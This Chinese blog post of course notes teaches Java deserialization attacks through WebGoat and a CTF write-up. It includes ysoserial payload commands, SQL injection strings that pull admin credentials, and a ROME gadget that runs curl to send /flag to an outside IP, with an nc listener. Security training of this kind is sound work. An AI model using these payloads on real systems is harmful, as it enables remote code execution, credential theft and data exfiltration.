chenhongl

导航

 

#知识点:
1、Java反序列化演示-原生API接口
2、Java反序列化漏洞利用-Ysoserial使用
3、Java反序列化漏洞发现利用点-函数&数据
4、Java反序列化考点-真实&CTF赛题-审计分析
#内容点:
1、明白-Java反序列化原理
2、判断-Java反序列化漏洞
3、学会-Ysoserial工具使用
4、学会-SerializationDumper
5、了解-简要Java代码审计分析

#前置知识:
序列化和反序列化的概念:
  序列化:把Java对象转换为字节序列的过程。(对象-->字节流)
  反序列化:把字节序列恢复为Java对象的过程。(字节流-->对象)
对象的序列化主要有两种用途:
  把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中;(持久化对象)
  在网络上传送对象的字节序列。(网络传输对象)

函数接口:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等(函数比较多)
PHP: serialize()、 unserialize()
Python:pickle

数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:(与PHP有区别)
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。也是初始化数据。
3、出现具体:
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含

-发现:
黑盒分析:数据库出现地-观察数据特性
白盒分析:组件安全&函数搜索&功能模块

1、java反序列化漏洞利用 - 原生API-Ysoserial_URLDNS使用
Ysoserial集成的jar包配合生成,特性的专业漏洞利用工具等
Serializable 接口
Externalizable 接口

代码:序列化操作

就是把"xiaodi", 28, "男", 101序列化后保存到d:/person.txt中

序列化的操作结果,会生成aced开头的字节流

 

反序列化操作:

 反序列后还原成之前的对象

 

漏洞利用:

① 修改原来的序列化后的文件内容(d:/person.txt),将可以访问http的链接加进去;②对方在把修改后的文件进行反序列时,就相当于访问了攻击的链接;
java反序列化利用工具:ysoserial,参考:https://github.com/frohoff/ysoserial
但是这支持的不是所有,这个序列化调用的是原生的接口。如果是外部库的话,需要自己构造。

查看工具支持的类(需要用java1.8):

java.exe -jar ysoserial-0.0.6-SNAPSHOT-all.jar

右边的是需要这些第三方包才能运行,这里我们引用的是URLDNS(不需要第三方的包,原生的库就能支持)

用URLDNS来测试是否能带外访问,生成一个同时包含了urldns地址的文件
java.exe -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pbr6fs.dnslog.cn" >a.txt

然后把a.txt放在d盘下,

修改源代码为打开“d:/a.txt”

然后再执行程序,程序虽然抛出报错但是dns平台可以接收到数据:


2、三方组件-Ysoserial_支持库生成使用
靶场:https://github.com/WebGoat/WebGoat
启动靶场(环境java14):java.exe -jar webgoat-server-8.1.0.jar --server.port=8000

--server.address=0.0.0.0(支持远程连接)


访问:http://192.168.124.176:9091/WebGoat/login.html

账号密码:xiaodi123

第5关:构造一个序列化的对象数据,将页面响应时间延迟5秒rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

这是一个base64 反序列化的开端。

①查看源代码,载入jar包,反编译,请求的地址:请求网址: http://192.168.124.176:9091/WebGoat/InsecureDeserialization/task

 

② 打开对应的jar包
含有代码ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)));
与上个案例演示的很相似

没有引用外部库,但是引用了别的库,可以对比工具的生成。也要对应版本。

 用到这个库来生成payload,因为利用库生成的功能比较多。

有组件生成RCE:
把这个包hibernate-core-5.4.9.Final.jar放在当前目录下
① 生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 "calc.exe" > x.bin

② 生成x.bin,这个文件生成是aced开头的,然后还需要base64编码一次,因为源代码会解码一次,

利用到python进行base64加密:

获得编码后的数据:rO0ABXNyABFqYXZhLnV0axxxx

将数据放到输入框,点击“提交”,结果:弹出计算器

 

如果不利用jar包,生成带urldns地址的:
生成:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://z2lyf3.dnslog.cn" > urldns.ser

用base64进行编码:rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QAEHoybHlmMy5kbnNsb2cuY250AABxAH4ABXQABGh0dHBweHQAF2h0dHA6Ly96Mmx5ZjMuZG5zbG9nLmNueA==

把数据放到输入框,点“提交”按钮,
接收到数据:

原生态的功能比较少,外部库功能比较多。

 

3、解密分析工具-SerializationDumper数据分析
https://github.com/NickstaDB/SerializationDumper
java14版本运行。
解密分析工具是为了在黑盒或者在代码审计这个漏洞是否存在的时候,经常使用到的这款工具。还有代码是否成功。

比如说刚才生成的payload,生成的urldns.ser,这个代码是会访问dnslog这个地址。这款工具就是能把这个数据还原出来。

 

执行:
java -jar SerializationDumper-v1.13.jar -r urldns.ser > a.bin
将文件urldns.ser还原出来保存到a.bin上,就可以看到他原本的东西了。

 

3、CTF赛题-[网鼎杯2020朱雀组]ThinkJava
打开靶场https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Think%20Java

下载源码,分析源码:发现SQL注入: String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";

如果采用预编译这个是不会产生,java一般很少存在sql注入

SQL注入的 String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
触发地址是:"/sqlDict"
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=' union select (select name from user)#
dbName=myapp?a=' union select (select pwd from user)#

账号admin 密码:admin@Rrrr_ctf_asde
发现引用包:swagger(相当于phpmyadmin一样)一个测试接口


0x02 接口测试
/swagger-ui.html接口测试:
{
"password":"admin@Rrrr_ctf_asde",
"username": "admin"
}

登录成功返回数据:
{ "data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu", "msg": "登录成功", "status": 2, "timestamps": 1617614357281 }


判断是否存在漏洞,有个验证漏洞的地方,把data的值放在里面测试,返回admin


0x03 回显数据分析攻击思路
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。

分析数据:
先利用py2脚本base64解密数据
import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)

用python2去运行,得到:aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e

 

再利用SerializationDumper解析数据 java反序列化字节转字符串工具
java -jar SerializationDumper-v1.11.jar aced000573720018636e2e6162632e636f72652e6d6f64656c2e55736572566f764643317b04f43a0200024c000269647400104c6a6176612f6c616e672f4c6f6e673b4c00046e616d657400124c6a6176612f6c616e672f537472696e673b78707372000e6a6176612e6c616e672e4c6f6e673b8be490cc8f23df0200014a000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000000000000174000561646d696e


先生成能访问dnslog这个的payload:java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://am6k4e.dnslog.cn" > urldns.ser
进行加密base64:rO0ABXNyABFqYXZhLnV0axxx

进行访问,可以接收。


0x04 生成反序列化payload
解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成,ROME让对方主动请求这个地址
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://47.100.167.248:1111/ -d @/flag" > flag.bin
利用py2脚本进行反序列化数据的提取
import base64
file = open("flag.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()


得到base64得到结果:
rO0ABXNyABFqYXZhLnxxxx

触发反序列化,获取flag
服务器执行,监听本地端口:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作

 

posted on 2024-06-05 14:26  chenhongl  阅读(169)  评论(0)    收藏  举报